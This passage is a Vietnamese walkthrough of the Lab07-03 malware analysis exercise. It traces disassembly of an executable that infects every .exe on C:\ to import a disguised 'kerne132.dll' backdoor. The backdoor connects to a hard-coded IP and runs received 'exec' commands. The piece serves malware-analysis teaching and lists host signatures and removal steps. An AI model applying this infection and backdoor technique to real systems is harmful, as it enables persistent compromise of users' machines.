      • destination: Một thanh ghi dùng để lưu trữ địa chỉ hiệu dụng.
      • source: Một biểu thức địa chỉ, chẳng hạn như [base + index * scale + displacement].

      Lệnh LEA không truy cập bộ nhớ hay lấy giá trị tại địa chỉ, nó chỉ tính địa chỉ.

      ---------------------------------------------------------------------------------------------------------

      Khác biệt giữa LEA MOV

      • LEA:
        • Lấy địa chỉ hiệu dụng (effective address) của toán hạng trong dấu ngoặc vuông [ ].
        • Không truy cập bộ nhớ.
        • Chỉ thực hiện phép tính địa chỉ.
      • MOV:
        • Lấy giá trị tại địa chỉ mà biểu thức [ ] trỏ tới.
        • Truy cập bộ nhớ để đọc giá trị.

      ---------------------------------------------------------------------------------------------------------

      Ví dụ minh họa về LEA MOV

      Ví dụ 1: Tính địa chỉ

      Giả sử:

      section .data
          myArray dd 10, 20, 30, 40 ; Một mảng chứa 4 số nguyên 32-bit

      Và đoạn mã:

      section .text
          mov eax, [myArray]      ; Lấy giá trị tại địa chỉ `myArray`, tức là giá trị đầu tiên (10)
          lea eax, [myArray]      ; Lấy địa chỉ hiệu dụng của `myArray`, không phải giá trị
      • mov eax, [myArray]: Thanh ghi eax sẽ chứa giá trị tại địa chỉ myArray, tức là 10.
      • lea eax, [myArray]: Thanh ghi eax sẽ chứa địa chỉ của myArray, không phải giá trị tại đó.

      ---------------------------------------------------------------------------------------------------------

      Ví dụ 2: Tính toán địa chỉ phức tạp

      section .data
          myArray dd 10, 20, 30, 40 ; Một mảng chứa 4 số nguyên
      section .text
          lea eax, [myArray + 8]  ; Lấy địa chỉ của phần tử thứ 3 (30), vì mỗi số nguyên chiếm 4 byte
          mov ebx, [eax]          ; Lấy giá trị tại địa chỉ vừa tính toán (giá trị là 30)
       32-bit
      • lea eax, [myArray + 8]: eax sẽ chứa địa chỉ của phần tử thứ 3 trong mảng.
      • mov ebx, [eax]: ebx sẽ chứa giá trị tại địa chỉ này, tức là 30.

      ---------------------------------------------------------------------------------------------------------

      Ví dụ 3: Tăng hiệu suất trong các phép tính

      LEA cũng thường được dùng để thực hiện các phép toán phức tạp mà không cần truy cập bộ nhớ:

      lea eax, [ebx + ecx * 4]

      • Thanh ghi eax sẽ chứa giá trị bằng ebx + (ecx * 4).
      • Trong trường hợp này, LEA đóng vai trò như một phép toán cộng và nhân nhanh, thay vì tính toán địa chỉ thực.
      1. jle short loc_401039: Lệnh jle (Jump if Less or Equal) sẽ thực hiện nhảy nếu ZF (Zero Flag) được thiết lập hoặc nếu kết quả của lệnh so sánh (cmp) cho thấy toán hạng bên trái nhỏ hơn hoặc bằng toán hạng bên phải. Trong trường hợp này, ZF không được thiết lập, vì vậy lệnh không nhảy.
      Nếu không nhảy:

      mov edi, [esp+0Ch+arg_0]: Lưu giá trị 207C (giá trị RVA của IMPORT Table) vào thanh ghi edi.

      1. mov edx, [eax+0Ch]: eax (= 1E0) cộng với 0C bằng 1EC, giá trị tại địa chỉ 1EC (là 1000) được lưu vào edx.


      2. cmp edi, edx: So sánh 207C với 1000. edi lớn hơn.

      3. jb short loc_401031: Lệnh cmp a, b sẽ nhảy nếu a nhỏ hơn hoặc bằng b. Vì edi lớn hơn, không nhảy và tiếp tục thực thi đoạn mã sau.

      1. mov ebx, [eax+8]: 1E0 + 8 = 1E8, giá trị tại địa chỉ 1E8 (là 970) được lưu vào ebx.

      2. add ebx, edx: 970 (ebx) cộng với 1000 (edx) bằng 1970, giá trị 1970 được lưu vào ebx.

      3. cmp edi, ebx: So sánh 207C với 1970.

      4. jb short loc_40103B: Nếu giá trị nhỏ hơn thì nhảy đến loc_40103B. Vì 207C không nhỏ hơn 1970, nên không nhảy và tiếp tục thực thi mã sau.

      1. inc esi: Tăng giá trị của esi lên 1. Vì esi ban đầu là 0 (do lệnh xor esi, esi), nên sau khi thực hiện lệnh này, esi sẽ trở thành 1.

      2. add eax, 28h: Cộng 28h vào giá trị của eax. Nghĩa là cộng 28h vào 1E0, kết quả sẽ là 208.

      3. So sánh esi (= 1) với ecx (= 3).

      → Kiểm tra xem đang so sánh đến mục (section) thứ mấy.

       4. jl short loc_401021: Nếu giá trị từ lệnh so sánh (cmp) cho thấy a nhỏ hơn, thì nhảy đến loc_401021. Tại đây, một vòng lặp sẽ được thực hiện.

      Vòng lặp

      Khối ➀ loc_401021:

      1. mov edx, [eax+0Ch]: Lấy giá trị tại địa chỉ 214 (208 + 0Ch = 214), giá trị này là 2000, và lưu vào thanh ghi edx.

      RVA là một giá trị tương đối dùng để biểu thị địa chỉ trong tệp thực thi.

      2. cmp edi, edx: So sánh edi = 207C với 2000.

      3. jb short loc_401031: Vì giá trị bên trái (edi) lớn hơn, nên không nhảy.

      Khối ➁

      1. mov ebx, [eax+8]: Lấy giá trị tại địa chỉ 210 (208 + 8 = 210), giá trị này là 2B2, và lưu vào thanh ghi ebx.


      2. add ebx, edx: Cộng giá trị ebx (2B2) với edx (2000), kết quả ebx = 22B2.

      3. cmp edi, ebx: So sánh edi = 207C với ebx = 22B2. Vì giá trị bên trái (207C) nhỏ hơn, nên sẽ thực hiện nhảy (jump).

      4. Sau khi pop, chương trình kết thúc (end).

      3.5.9. Quay trở lại hàm sub_401040

      1. mov ecx, eax: Lấy giá trị của eax (208) và lưu vào ecx.

      2. add esp, 8: Cộng thêm 8 vào thanh ghi esp.

      3. test ecx, ecx: Kiểm tra giá trị của ecx (không phải 0).

      4. jnz short loc_401089: Nếu ecx không bằng 0, nhảy đến loc_401089.

      loc_40105B:

      1. mov eax, [ecx+14h]: Lấy giá trị tại địa chỉ 21C (208 + 14h = 21C), giá trị này là 2000, và lưu vào eax.

      1. mov edx, [ecx+0Ch]: Lấy giá trị tại địa chỉ 214 (208 + 0Ch = 214), giá trị này là 2000, và lưu vào thanh ghi edx.

      1. mov ecx, [esp+arg_8]: Lấy giá trị tại arg_8 (địa chỉ bắt đầu), giá trị này là 0, và lưu vào ecx.

      2. sub eax, edx: Thực hiện phép trừ eax - edx (2000 - 2000), kết quả là 0.

      3. add eax, esi: Cộng giá trị esi (được lấy từ lệnh mov esi, [esp+4+arg_0], trong đó arg_0 có giá trị là 207C) vào eax, kết quả eax = 207C.

      4. pop esi: Lấy giá trị từ stack và lưu vào esi.

      5. add eax, ecx: Cộng giá trị ecx (0) vào eax (207C), kết quả vẫn là 207C.

      6. Retn: Trả về giá trị 207C.

      7. sub_401040 endp: Kết thúc hàm sub_401040.

      3.9.10. Quay lại hàm sub_4010A0, so sánh tên của các hàm import.

      1. mov ebx, eax: Lấy giá trị eax (207C) và lưu vào ebx.

      2. push 14h: Đẩy giá trị 14h vào stack.

      3. push ebx: Đẩy giá trị của ebx vào stack.

      4. call ds:IsBadReadPtr: Gọi hàm IsBadReadPtr trong bảng ds để kiểm tra quyền truy cập đọc.

      5. test eax, eax: Kiểm tra giá trị của eax.

      → Kiểm tra xem có quyền đọc trên khối dữ liệu có kích thước 14h bắt đầu từ 207C hay không. Nếu có quyền đọc, hàm sẽ trả về 0.

      14h = 20 byte là kích thước của cấu trúc IID cho mỗi import. Điều này có nghĩa là cần phải đọc thông tin về các import.

      1. jnz short loc_4011D5: Vì có quyền đọc, giá trị trả về là 0, do đó kết quả của lệnh test eax, eax0, và không thực hiện nhảy.

      1. add edi, 0Ch: Cộng 0Ch vào 207C, kết quả là 2088, và lưu giá trị này vào edi.

      Lưu ý: Giá trị tại địa chỉ 2088 chính là tên của import.

      loc_401142:

      1. mov eax, [edi-8]: Lấy giá trị tại địa chỉ [edi-8] (2080), lưu giá trị này vào eax. Giá trị lưu vào eax là 00000000.

      1. mov [esp+1Ch+lpFileName], edi: Lưu giá trị 2088 vào biến lpFileName.

      2. test eax, eax: Kiểm tra eax, kết quả là 0, vì vậy ...

      3. jnz short loc_401152: Vì eax0, nên không thực hiện nhảy.

      1. cmp dword ptr [edi], 0: So sánh giá trị tại địa chỉ edi (2088) với 0. Giá trị tại 2088 21C2, không bằng 0.

      2. jz short loc_4011AC: Vì chúng không bằng nhau, nên không thực hiện nhảy.

      loc_401152:

      1. mov edx, [edi]: Lấy giá trị tại địa chỉ edi (21C2) và lưu vào edx.

      2. push esi: Đẩy giá trị 00000000 vào stack.

      3. push ebp: Đẩy giá trị E8 vào stack.

      4. push edx: Đẩy giá trị 21C2 vào stack.

      5. call sub_401040: Gọi lại hàm sub_401040 một lần nữa!

        Giá trị trả về là 21C2.

      6. add esp, 0Ch: Cộng thêm 0Ch vào esp.

      7. mov ebx, eax: Lấy giá trị eax = 21C2 và lưu vào ebx.

      8. push 14h: Đẩy giá trị 14h vào stack (ucb).

      9. push ebx: Đẩy giá trị ebx (lp) vào stack.

      10. call ds:IsBadReadPtr: Gọi hàm IsBadReadPtr trong bảng ds.

        Kiểm tra xem có quyền đọc trên khối dữ liệu có kích thước 14h bắt đầu từ 21C2 hay không. Nếu có quyền đọc, giá trị trả về sẽ là 0.

      11. test eax, eax: Kiểm tra eax (kết quả là 0), do đó kết quả kiểm tra cũng là 0.

      12. jnz short loc_4011D5: Vì eax0, không thực hiện nhảy.

      So sánh chuỗi "kernel32.dll" với giá trị trong ebx (21C2) bằng cách gọi hàm stricmp.

      Giá trị hex 21C2 trỏ đến chuỗi "KERNEL32.dll".

      Hàm stricmp so sánh và nếu các chuỗi giống nhau, nó sẽ trả về 0.

      Vì chúng giống nhau, giá trị trả về trong eax 0, và kết quả của lệnh test eax, eax cũng là 0.

      jnz short loc_4011A7: Nếu kết quả so sánh không bằng, sẽ thực hiện nhảy đến loc_4011A7.

      Thêm 20 byte vào edi (= 21C2) để lấy tên import tiếp theo và thực hiện so sánh. (= Vòng lặp for)

      3.5.11. Nếu tên của import là "kernel32.dll"

      Thực hiện lệnh tiếp theo mà không cần nhảy.


      1. mov edi, ebx: Lưu trữ giá trị 21C2 trong edi.

      2. or ecx, 0FFFFFFFFh: Thực hiện phép toán OR với 0xFFFFFFFF. Tất cả các bit của ecx được kích hoạt. ecx = 0xFFFFFFFF.

      3. repne scasb: Thực hiện lệnh repne scasb để so sánh edi (kernel32.dll) với eax

      4. not ecx: Đảo ngược các bit của ecx. Giá trị của ecx sẽ trở thành độ dài của chuỗi mà edi đang trỏ tới.

      Bên lề:

      repne có nghĩa là 'lặp lại nếu không bằng', và scasb có nghĩa là so sánh từng byte một. Lệnh này sẽ so sánh chuỗi tại vị trí bộ nhớ mà edi trỏ đến với giá trị al, ax, eax, và lặp lại việc so sánh từng byte cho đến khi chúng bằng nhau (hoặc đến khi ecx bằng 0). Khi không bằng nhau, giá trị của ecx sẽ giảm đi 1.

      Vậy làm sao lệnh này trả về độ dài của chuỗi?

      Giá trị trả về của _stricmp hiện tại là eax = 0.
      Khi biểu diễn giá trị 0xFFFFFFFF dưới dạng số bù 2 có dấu, ecx = -1.
      Khi so sánh từ đầu chuỗi kernel32.dll (12 byte) với eax = 0, chúng không giống nhau, vì vậy mỗi lần so sánh byte, giá trị ecx giảm đi 1. Tiếp tục lặp lại và so sánh, cho đến khi gặp ký tự null \0, ký tự kết thúc chuỗi của kernel32.dll. Lúc này, eax gặp giá trị bằng 0, do đó repne kết thúc. Tại thời điểm này, giá trị ecx là -14, và sau khi đảo ngược các bit của ecx với lệnh not ecx, giá trị này trở thành 13. Do đó, độ dài của chuỗi kernel32.dll (cộng với ký tự null) là 13.

      Điều này càng rõ ràng hơn khi xem qua IDA decompile. Đặt dấu nhắc lệnh tại vị trí dword_403010

      Sau đó nhấn F5 để chuyển sang chế độ Pseudocode View  

      Lệnh repne scasb được thể hiện như là strlen(), và strlen chỉ trả về độ dài chuỗi thực tế, không tính ký tự null, nên có thêm 1 đơn vị vào kết quả.

      Thông tin chi tiết về lệnh repne scasb có thể tham khảo trong tài liệu của Intel Developer Manual 7.3.9.1 tại:
      https://www.intel.co.kr/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-software-developer-vol-1-manual.pdf


      5. mov eax, ecx: Lưu giá trị của ecx (= 13) vào eax.

      6. mov esi, offset dword_403010: Lưu giá trị của dword_403010 vào esi.

      Để biết giá trị của dword, thực hiện như sau:

      - Nhấn đúp vào vị trí dword_403010.
       

      - IDA Pro chuyển đến chi tiết về nó


      - Di chuyển con trỏ đến data và nhấn 'a' để chuyển đổi thành chuỗi. Giá trị sẽ là 'kerne132.dll'.


      7. mov edi, ebx: Lệnh này lưu giá trị của ebx (bằng 21C2) vào thanh ghi edi.  

      8. shr ecx, 2: Lệnh này dịch phải thanh ghi ecx 2 bit. Hiện tại ecx có giá trị 13 (bằng 1101), sau khi dịch phải 2 bit sẽ trở thành 3 (bằng 0011).  

      *Bền lề: Lệnh shr có nghĩa là dịch chuyển giá trị a sang phải b lần.

      9. rep movsd: Lệnh này sao chép giá trị tại vị trí mà esi trỏ đến vào vị trí mà edi trỏ đến, với đơn vị là double word (4 byte).

      Sao chép tệp kerne132.dll vào vị trí của edi (vị trí ban đầu của kernel32.dll). Nói cách khác, kernel32.dll bị ghi đè bằng kerne132.dll.

      *Bên lề: Lệnh rep movsd cũng lặp lại việc sao chép chuỗi theo giá trị của ecx. Do lệnh shr đã thiết lập ecx là 3 và lệnh rep movsd sao chép theo đơn vị dword (4 byte), điều này có nghĩa là sẽ sao chép 3 * 4 = 12, tức là 12 byte.

      10. mov ecx, eax: Lưu giá trị 13 vào thanh ghi ecx.  

      11. and ecx, 3: Thực hiện phép toán AND giữa 1101 0011. Kết quả là ecx = 1.  

      12. rep movsb: Sao chép từng byte cho đến khi ecx bằng 0. Hiện tại ecx = 1, do đó lệnh này sẽ được thực thi một lần.  

      13. mov esi, [esp+1Ch+var_C]: Lưu địa chỉ bắt đầu của vùng ánh xạ (do hàm MapViewOfFile trả về) vào thanh ghi esi.  

      14. mov edi, [esp+1Ch+lpFileName]: Lưu giá trị 2088 vào thanh ghi edi.


      loc_4011A7


      1. add edi, 14h

      2. jmp short loc_401142

      Khi cộng thêm 14h vào edi, ta được 209C, tức là giá trị tên import tiếp theo.  

      Điều này nhằm mục đích so sánh tất cả các tên import bằng cách cộng thêm 20 byte vào mỗi Name RVA.  

      Sau khi so sánh tên import cuối cùng, nếu cộng thêm 20 byte vào edi, giá trị tại địa chỉ mà edi trỏ đến sẽ trở thành 00000000. Đây chính là điều kiện để thoát vòng lặp.

      Double click tại vị trí jmp short loc_401142 như đóng khung trong ảnh ở dưới


      IDA sẽ chuyển đến vị trí:

      cmp dword ptr [edi], 0: So sánh giá trị tại địa chỉ mà edi trỏ đến với 0 để xác định điều kiện thoát khỏi vòng lặp.

      Khi thoát khỏi vòng lặp, chương trình sẽ đóng handle và trả về.

      Sau khi thực hiện sub_4010A0 endp, chương trình sẽ quay lại và tiếp tục tìm kiếm tệp .exe tiếp theo, lặp lại các bước đã mô tả.

      Cuối cùng, Lab07-03.exe sẽ sửa đổi tất cả các file .exe trong ổ C:\ để import kerne132.dll thay vì kernel32.dll.

      3.5.11. Tóm tắt về Lab07-03.exe

      1. Nếu không truyền chuỗi "WARNING_THIS_WILL_DESTROY_YOUR_MACHINE" làm tham số khi chạy chương trình, chương trình sẽ thoát.

      2. Ẩn Lab07-03.dll dưới tên kerne132.dll.

      3. Sử dụng hàm đệ quy để quét tất cả các tệp trong ổ C: và tìm kiếm các tệp .exe.

      4. Lấy tên import của các tệp .exe đã tìm được và so sánh với kernel32.dll.

      5. Nếu trùng khớp, thay thế kernel32.dll bằng kerne132.dll.

      6. Tất cả các tệp .exe trong C:\ sẽ bị thay đổi.

      Lý do có nhiều cảnh báo khi thực hiện Lab07-03 là vì mã độc này thay đổi tất cả các tệp, gây ra những thiệt hại nghiêm trọng.

      Nếu sau khi chạy mã độc và muốn khôi phục lại trạng thái ban đầu, bạn có thể sử dụng IDA để sửa lại phần mã đã thay đổi từ kernel32.dll thành kerne132.dll và ngược lại, thay thế kerne132.dll bằng kernel32.dll trong Lab07-03.exe. Điều này khiến bạn tự hỏi liệu nó có thể khôi phục lại được trạng thái ban đầu hay không.

      3.6 - Phân tích tĩnh nâng cao Lab07-03.dll

      3.6.1. Cấp phát bộ nhớ trên stack và so sánh giá trị fdwReason

      Trước khi phân tích chi tiết, tôi đã xem qua và thấy rằng chương trình tạo mutex và thực hiện giao tiếp qua socket đến một địa chỉ IP cụ thể.


      1. mov eax, 11F8h: Lưu giá trị 11F8 vào thanh ghi eax.

      2. call __alloca_probe: Cấp phát một khối bộ nhớ kích thước 11F8 trên stack.

      Bền lề:

      _alloca_probe thực hiện các kiểm tra bảo mật bổ sung ngoài alloca để ngăn ngừa tràn ngăn xếp.

      _alloca_probe không truyền đối số qua lệnh push, không giống như các hàm hiện có.




      3. mov eax, [esp+11F8h+fdwReason]: Lưu giá trị của fdwReason vào thanh ghi eax.

      Bên lề:

      DllMain được gọi bởi hệ thống khi DLL được tải hoặc giải phóng. Giá trị được truyền dưới dạng tham số là fdwReason, thể hiện loại sự kiện đã được gọi dưới dạng hằng số.  

      DLL_PROCESS_ATTACH (1): Giá trị khi DLL được tải vào.  

      DLL_PROCESS_DETACH (0): Giá trị khi DLL được giải phóng.


      → Hiện tại DLL đang được tải, vì vậy giá trị 1 được thiết lập vào thanh ghi eax.

      4. push ebx: / push ebp: / push esi: Sao lưu các thanh ghi ebx, ebp, và esi tương ứng.

      5. cmp eax, 1: So sánh giá trị trong eax với 1. Vì chúng bằng nhau, kết quả của phép so sánh (cmp) là 0.

      6. push edi: Sao lưu thanh ghi edi.

      7. jnz loc_100011E8: Nếu giá trị của eax không phải 0, lệnh sẽ nhảy đến địa chỉ loc_100011E8.

      3.6.2. Khởi tạo bộ đệm, tạo mutex và khởi tạo thư viện Winsock

      Vì kết quả của phép so sánh cmp đã thiết lập cờ ZF (Zero Flag), chương trình không nhảy và thực thi lệnh tiếp theo.

      Đặt giá trị 0 vào bufvar_fff để khởi tạo bộ đệm.

      Bên lề:

      rep stosd: Lệnh này lặp lại việc lưu giá trị của eax vào vị trí bộ nhớ mà edi trỏ đến, theo số lần mà thanh ghi ecx chỉ định. Hiện tại, eax đã được thiết lập thành 0 thông qua phép toán XOR, vì vậy mục đích là để khởi tạo bộ nhớ bằng 0.

      stosw: Lệnh này lưu giá trị 16 bit thấp của thanh ghi eax vào vị trí bộ nhớ mà edi trỏ đến. Trong trường hợp này, giá trị 16 bit 0 sẽ được lưu vào khu vực bộ nhớ mà edi trỏ đến.


      Quá trình này giống như những gì chúng ta đã thấy trong bài thực hành trước. Một mutex có tên cụ thể sẽ được mở, sau đó kiểm tra xem mutex đó có tồn tại hay không. Nếu không, mutex mới sẽ được tạo ra. Kết quả là mutex có tên "SADFHUHF" sẽ được tạo ra.


      1. lea ecx, [esp+1208h+WSAData]: Lưu địa chỉ của biến WSAData vào thanh ghi ecx.

      Bên lề:

      WSAData là con trỏ trỏ đến cấu trúc dữ liệu lưu trữ thông tin khởi tạo của Windows Sockets.

      https://learn.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-wsastartup

      C++
      
      int WSAStartup(
        [in]  WORD      wVersionRequired,
        [out] LPWSADATA lpWSAData
      );

      2. push ecx ; lpWSAData / push 202h ; wVersionRequested: Truyền các giá trị tham số.

      3. call ds:WSAStartup: Đây là hàm khởi tạo thư viện Winsock. Nếu thành công, nó sẽ trả về giá trị 0.

      4. test eax, eax: Vì eax là 0, kết quả của phép kiểm tra cũng sẽ là 0.

      5. jnz loc_100011E8: Vì eax0, nên không thực hiện nhảy.

      → Quá trình này là quá trình khởi tạo thư viện Winsock, từ đó có thể suy đoán rằng mã độc này sẽ sử dụng Windows Sockets để thiết lập kết nối mạng.

      3.6.3. Giao tiếp qua Socket


      1. call ds:socket

      Giá trị quen thuộc từ bài thực hành Lab05-01.dll hiện ra. Socket này được cấu hình cho TCP IPv4.

      Hàm socket sẽ trả về giá trị handle của socket nếu thành công. Nếu việc tạo socket thất bại, nó sẽ trả về INVALID_SOCKET, tức là -1.

      2. mov esi, eax: Lưu giá trị trả về từ hàm socket vào thanh ghi esi.

      3. cmp esi, 0FFFFFFFFh: So sánh xem giá trị này có phải là -1, tức là kiểm tra xem việc tạo socket có thất bại hay không.

      4. jz loc_100011E2: Nếu tạo socket thất bại, nhảy đến loc_100011E2 và hàm sẽ kết thúc.

      Nếu việc tạo socket thành công


      1. push offset cp ; "127.26.152.13": Đẩy giá trị địa chỉ IP  127.26.152.13 vào stack.

      2. mov [esp+120Ch+name.sa_family], 2: Đặt giá trị cho trường sa_family của địa chỉ socket là 2, tức là sử dụng IPv4.

      Bên lề:

      name.sa_family là một thành phần trong cấu trúc địa chỉ socket (sockaddr). Nó được sử dụng để xác định xem địa chỉ socket là IPv4 hay IPv6, hoặc để khởi tạo địa chỉ socket. Giá trị 2 ở đây chỉ ra rằng địa chỉ socket là IPv4.


      3. call ds:inet_addr: Chuyển đổi địa chỉ IP thành dạng nhị phân 32 bit. Kết quả là 0x7F1A980D.

      4. push 50h ; hostshort: Giá trị 50h tương đương với 80, tức là cài đặt số hiệu cổng (port) là 80.

      5. mov dword ptr [esp+120Ch+name.sa_data+2], eax: Lưu địa chỉ socket đã được chuyển đổi sang dạng nhị phân vào biến.

      Bên lề:

      Trong name.sa_data, chứa số hiệu cổng và địa chỉ socket ở dạng nhị phân.  

      sa_data[0]sa_data[1] lưu số hiệu cổng, còn từ sa_data[2] trở đi lưu địa chỉ socket.  

      Thông thường, sa_data có kích thước 14 byte.



      6. call ds:htons: Chuyển đổi số hiệu cổng sang thứ tự byte của mạng (big-endian) và trả về kết quả (2 byte).

      7. lea edx, [esp+1208h+name]: Lưu địa chỉ của cấu trúc name vào thanh ghi edx.

      8. push 10h ; namelen / push edx ; name / push esi ; s: Truyền các giá trị tham số vào hàm connect.

      9. mov word ptr [esp+1214h+name.sa_data], ax: Lưu giá trị số hiệu cổng (trả về từ htons) vào biến.

      10. call ds:connect: Thực hiện kết nối đến địa chỉ IP và số hiệu cổng đã chỉ định.

      11. cmp eax, 0FFFFFFFFh: Nếu kết nối thất bại, giá trị trả về sẽ là -1. Dùng lệnh cmp để kiểm tra xem hàm connect có thất bại hay không.

      12. jz loc_100011DB: Nếu không thất bại (tức là giá trị không phải -1), không thực hiện nhảy.

      1. mov ebp, ds:strncmp / mov ebx, ds:CreateProcessA: Lưu địa chỉ của từng hàm vào các thanh ghi để sử dụng cho việc gọi hàm sau này.
      2.
      mov edi, offset buf ; "hello": Lưu chuỗi "hello" vào thanh ghi edi.
      or ecx, 0FFFFFFFFh
      xor eax, eax
      push 0 ; flags
      repne scasb
      not ecx
      dec ecx

      → Đo chiều dài chuỗi "Hello". Khác với Lab07-03.exe, lệnh dec ecx sẽ loại bỏ ký tự null khỏi độ dài chuỗi.

      3. push ecx; len / push offset buf; "hello" / push esi; s: Truyền các tham số vào hàm send.

      4. call ds:send: Gửi chuỗi "hello" thông qua hàm send.

      Bên lề:

      Hàm send sẽ trả về số byte đã gửi nếu thành công. Nếu thất bại, nó sẽ trả về SOCKET_ERROR = -1.

      5. cmp eax, 0FFFFFFFFh: So sánh để kiểm tra xem có thất bại hay không.

      6. jz loc_100011DB: Nếu thất bại, nhảy đến loc_100011DB.

      Nếu không lỗi, hãy thực hiện dòng lệnh tiếp theo.


      Hàm shutdown được gọi để kết thúc socket. Nếu nó thất bại, nó sẽ phân nhánh.

      Bên lề:

      Sau khi gọi shutdown, thực hiện lệnh tiếp theo.

      Hàm recv là hàm nhận dữ liệu.

      Nó có thể nhận tối đa 1000h = 4096 byte và lưu dữ liệu đã nhận vào eax (địa chỉ của buf).

      Esi là handle của socket.

      Sau khi truyền các tham số trên, hàm recv được gọi. Nếu thất bại, giá trị trả về sẽ là -1.

      Nếu giá trị trả về eax nhỏ hơn hoặc bằng 0, chương trình sẽ nhảy.

      Nếu nhận dữ liệu thành công, giá trị trả về sẽ khác 0, vì vậy sẽ không nhảy.

      3.6.3.. Sự khác biệt trong thực hiện tùy thuộc vào giá trị dữ liệu nhận được (sleep / exec)

      lea ecx, [esp+1208h+buf] lấy địa chỉ của bộ đệm nhận và lưu vào ecx. Sau đó, so sánh 5 byte đầu tiên với chuỗi "sleep". Nếu chúng khớp, eax sẽ trở thành 0, vì vậy không nhảy mà thực hiện lệnh tiếp theo.

      Chương trình sẽ ngủ trong 60000h (= 393 giây). Sau đó, nó sẽ nhảy trở lại phần gửi (send).

      Bên lề:

      Trong phần giải thích của cuốn sách này, 60000h được giải thích là 60 giây. Nếu giá trị 60000 là hệ thập phân thì đó là câu trả lời đúng, nhưng ký hiệu 60000h có nghĩa là hệ thập lục phân. Nghĩa là, khi chuyển đổi, nó sẽ ra 393,216 mili giây, vậy mà không hiểu sao lại có kết quả là 60 giây. Nếu ai biết, xin vui lòng để lại bình luận.


      Nếu chuỗi nhận được không phải là "sleep", chương trình sẽ phân nhánh và so sánh xem 4 byte đầu tiên có khớp với chuỗi "exec" hay không. Nếu khớp, chương trình sẽ không nhảy. "Exec" được sử dụng khi thực thi chương trình hoặc lệnh.

      1. mov ecx, 11h: Gán giá trị 11h (= 17) vào ecx. Đây là kích thước của cấu trúc StartupInfo.

      2. lea edi, [esp+1208h+StartupInfo]: Lưu địa chỉ của StartupInfo vào edi.

      3. rep stosd: Lặp lại việc lưu giá trị eax vào vị trí bộ nhớ mà edi trỏ đến, lặp lại số lần theo giá trị của ecx. Hiện tại, eax có giá trị 0, nên cấu trúc StartupInfo sẽ được điền bằng 0. Mục đích là để khởi tạo cấu trúc này.

      4. Các lệnh lea push: Là quá trình truyền các tham số cần thiết để thực thi hàm CreateProcessA.

      5. lea edx, [esp+1224h+CommandLine]: Trỏ đến đường dẫn của tiến trình sẽ tạo.

      Bên lề:

      Vấn đề là không thể tìm ra giá trị được lưu trữ trong CommandLine. Khi kiểm tra Lab07-03 bằng lệnh strings, không thấy chuỗi nào thể hiện đường dẫn tệp. Do đó, tôi nghĩ rằng cơ hội duy nhất để lấy chuỗi đường dẫn này là khi nhận dữ liệu thông qua lệnh recv. Hãy quay lại phần khai báo biến để kiểm tra lại.

      bufCommandLine rất gần nhau. Hãy thử double click vào buf để kiểm tra.

      Khi gọi hàm recv, kích thước tối đa của byte có thể đọc được là 4096. Địa chỉ hiện tại có dạng giảm dần, tức là khi địa chỉ lớn hơn sẽ dần xuống dưới trong hình vẽ. Điều này có nghĩa là CommandLine nằm trong buf. Vì CommandLine buf chỉ khác nhau 5 byte, và trước đó đã so sánh chuỗi trong bộ đệm nhận với hàm  strcmp, có thể suy đoán rằng 5 byte đầu tiên của buf` chứa các chuỗi như ‘sleep’, ‘exec’, ‘p’, và từ byte tiếp theo sẽ là đường dẫn của tệp tin thực thi cần chạy.

      1. mov [esp+1230h+StartupInfo.cb], 44h ; 'D' : Lưu giá trị '68' vào trường cb. cb là trường thể hiện kích thước của cấu trúc StartupInfo.

      2. call ebx ; CreateProcessA : Gọi hàm CreateProcessA để tạo tiến trình.

      3. jmp loc_100010E9 : Quay lại phần send.

      Nếu chuỗi ký tự không phải là sleep hoặc exec

      So sánh xem chuỗi ký tự có phải là 'q' hay không.

      Nếu không phải, chương trình sẽ sleep trong 60000hms, sau đó nhảy đến phần send để tiếp tục lặp lại quá trình gửi chuỗi hello và nhận chuỗi ký tự.

      Nếu đúng, chương trình sẽ nhảy đến loc_100011D0.

      loc_100011D0

      Đóng handle, tắt socket và giải phóng tài nguyên đã được sử dụng bởi thư viện Winsock. Cuối cùng, DLLMain sẽ kết thúc.

      4. Tổng kết về Lab07-03.dll

      1. Mở mutex có tên 'SADFHUHF', kiểm tra xem mutex này có tồn tại hay không. Nếu không tồn tại, sẽ tạo mutex với tên này.

      2. Khởi tạo thư viện Winsock socket.

      3. Kết nối đến 127.26.152.13 qua cổng 80.

      4. Gửi chuỗi ký tự "hello".

      5. Nhận dữ liệu và kiểm tra xem chuỗi nhận được có phải là 'sleep', 'exec', hay 'q'.

      6. Nếu là 'sleep', chương trình sẽ sleep trong 393 giây.

      7. Nếu là 'exec', chương trình sẽ sử dụng giá trị sau 5 byte đầu tiên trong buffer nhận được làm tham số CommandLine và thực thi một tiến trình.

      8. Nếu là 'q', chương trình sẽ giải phóng tài nguyên và kết thúc DllMain.

      5. Trả lời câu hỏi

      5.1. Cơ chế nào giúp chương trình này duy trì tính bền bỉ, cho phép nó tiếp tục thực thi mỗi khi máy tính được khởi động lại?

      Chương trình này ngụy trang tất cả các tệp Lab07-03.dll thành kerne132.dll, sau đó chỉnh sửa các tệp thực thi (.exe) để import kerne132.dll (thực chất là lab07-03.dll). Vì vậy, nếu không xóa hết các tệp thực thi hoặc phát hiện và xóa kerne132.dll, chương trình sẽ duy trì tính bền bỉ.

      5.2. Hai dấu hiệu nhận diện tốt trên máy chủ (host-based signature) cho phần mềm độc hại này là gì?

      1. Mutex có tên 'SADFHUHF'. Nếu phát hiện mutex này tồn tại trên hệ thống, đây là dấu hiệu của phần mềm độc hại.


      2. Tên tệp kerne132.dll. Tệp này không phải là thành phần hợp pháp của hệ thống và có thể được nhận diện như một phần mềm độc hại nếu xuất hiện trong hệ thống.

      5.3. Mục đích của chương trình này là gì?

      Mục đích của chương trình này là tạo ra một cửa hậu (backdoor).
      Ngoài ra, chương trình còn lây nhiễm để tất cả các tệp thực thi (.exe) đều import kerne132.dll, tệp này chứa chức năng cửa hậu. Điều này khiến việc loại bỏ chương trình trở nên vô cùng khó khăn.

      5.4. Làm thế nào để loại bỏ phần mềm độc hại này sau khi đã được cài đặt?

      • Nếu có điểm khôi phục (restore point) trước khi cài đặt phần mềm độc hại, có thể loại bỏ bằng cách khôi phục lại hệ thống về trạng thái trước đó.
      • Hoặc, có thể chỉnh sửa lại mã Lab07-03 để sửa lại tệp exe, khiến nó import kernel32.dll (tệp hợp lệ) thay vì kerne132.dll (tệp độc hại).

